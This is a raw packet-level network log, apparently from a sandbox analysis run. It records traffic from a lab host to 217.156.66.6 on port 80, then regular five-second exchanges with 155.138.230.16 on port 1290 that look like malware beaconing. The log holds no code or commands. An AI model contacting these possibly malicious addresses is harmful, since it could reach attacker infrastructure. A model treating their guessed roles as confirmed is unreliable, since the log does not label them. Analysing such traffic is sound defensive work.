Mar 31, 2025 14:08:51.146699905 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.146724939 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.146734953 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.146755934 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.146769047 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.146800041 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.146836042 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.147315025 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.147349119 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.147367954 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.147396088 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.147408009 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.147428036 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.151041985 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.151248932 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.151281118 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.151312113 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.152288914 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.152322054 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.152353048 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.152383089 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.157684088 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.162270069 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.162348986 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.163599014 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.163633108 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.174102068 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.426326990 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.426362991 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.426395893 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.426445007 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.426955938 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.427611113 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.427644014 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.427665949 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.427714109 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.427721977 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.427750111 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.427767992 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.427781105 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.427789927 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.427823067 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.428565025 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.428597927 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.428601980 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.428664923 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.428728104 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.428760052 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.428781033 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.428791046 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.428807020 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.428824902 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.428855896 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.428869009 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.428869009 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.428885937 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.428898096 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.428917885 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.428949118 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.428961039 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.428961039 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.428982019 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.428982019 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.429016113 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.429028988 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.429064035 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.429068089 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.429100990 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.429120064 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.429132938 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.429136992 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.429171085 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.429203033 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.429233074 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.429264069 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.429295063 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.429342985 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.429372072 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.429402113 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.429431915 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.429461956 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.429493904 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.429523945 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.429554939 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.429584980 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.429616928 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.429646969 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.435889006 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.662688017 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.662724018 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.662808895 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.662952900 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.726356030 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.726388931 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.726422071 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.726424932 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.726424932 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.726454973 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.726484060 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.726488113 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.726495981 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.726520061 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.726561069 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.726561069 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.726581097 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.726612091 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.726640940 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.726659060 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.726690054 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.726720095 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.726749897 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.726780891 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.726810932 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.726840973 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.726870060 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.726900101 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.726932049 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.726963043 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.726994991 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.727025032 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.727054119 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.727104902 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.727134943 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.727164984 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.727196932 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.727226973 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.727257967 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.727755070 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.953115940 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.953157902 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:51.953237057 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.953264952 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:52.101317883 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:52.216000080 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:52.330467939 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:52.330548048 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:53.239264011 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:53.526582003 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:53.526662111 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:53.528851032 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:53.749864101 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:53.749907017 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:53.749963999 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:53.749989986 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:53.750052929 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:53.750080109 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:53.750101089 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:53.750121117 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:53.750157118 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:53.750780106 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:53.750813961 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:53.750844955 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:53.750855923 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:53.750855923 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:53.750876904 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:53.750909090 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:53.750931978 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:53.751818895 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:53.751852989 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:53.751885891 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:53.751920938 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.029469013 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.029505014 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.029591084 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.029591084 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.035417080 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.035451889 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.035465956 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.035495996 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.047776937 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.047811031 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.047827959 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.047852039 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.061925888 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.061959982 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.061995029 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.062964916 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.062999964 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.063031912 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.063041925 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.063065052 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.067873001 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.127918005 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.127954006 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.127985954 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.128017902 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.128680944 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.132298946 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.132332087 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.137362957 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.138067007 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.138102055 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.142445087 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.255923033 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.256021023 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.256823063 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.259136915 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.259175062 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.263564110 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.327745914 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.327805996 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.328428984 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.338352919 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.338409901 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.338886023 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.338921070 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.338932037 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.338959932 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.338970900 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.339005947 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.339015961 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.339046955 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.342390060 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.342436075 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.342490911 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.342523098 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.342539072 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.342566967 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.342644930 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.342689991 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.345191002 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.345238924 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.345285892 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.345319033 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.345330000 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.345352888 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.345360041 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.345391035 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.345472097 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:08:54.345592976 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:08:54.351305008 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.351337910 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.351353884 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.351367950 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.351380110 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.351401091 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.351440907 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.351440907 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.351449013 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.351480961 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.351488113 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.351527929 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.351542950 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.351561069 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.351567984 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.351597071 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.359754086 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.359786987 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.359810114 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.359819889 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.359822035 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.359853029 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.359858990 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.359895945 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.425610065 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.425645113 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.425662994 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.425760031 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.425791979 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.425817013 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.425817013 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.425834894 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.462245941 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:08:54.462330103 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:08:54.564790010 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.564826012 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.564870119 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.564870119 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.568027973 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.568068981 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.568072081 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.568114996 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.578648090 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:08:54.655539989 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.655612946 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.828986883 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.829022884 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:54.829050064 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.829114914 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:54.878144026 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:55.130898952 CEST	80	48290	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:55.130959988 CEST	48290	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:59.024099112 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:08:59.024235010 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:08:59.139480114 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:08:59.139555931 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:08:59.479268074 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:08:59.597240925 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:09:04.028388977 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:09:04.028542995 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:09:04.375262976 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:09:04.727368116 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:09:04.850353956 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:09:09.024169922 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:09:09.024441957 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:09:09.138776064 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:09:09.138875008 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:09:09.255878925 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:09:14.025058985 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:09:14.025238037 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:09:14.140697002 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:09:14.140861034 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:09:14.259545088 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:09:19.028513908 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:09:19.028696060 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:09:19.146085978 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:09:19.146152020 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:09:19.260809898 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:09:24.027021885 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:09:24.027209044 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:09:24.139205933 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:09:24.139277935 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:09:24.268120050 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:09:29.029146910 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:09:29.029818058 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:09:29.142554045 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:09:29.142780066 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:09:29.257127047 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:09:34.028395891 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:09:34.028791904 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:09:34.140417099 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:09:34.140583992 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:09:34.253650904 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:09:39.026951075 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:09:39.027266026 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:09:39.143884897 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:09:39.144089937 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:09:39.479244947 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:09:39.594907999 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:09:44.028337002 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:09:44.028506994 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:09:44.143337965 CEST	1290	49940	155.138.230.16	192.168.2.13
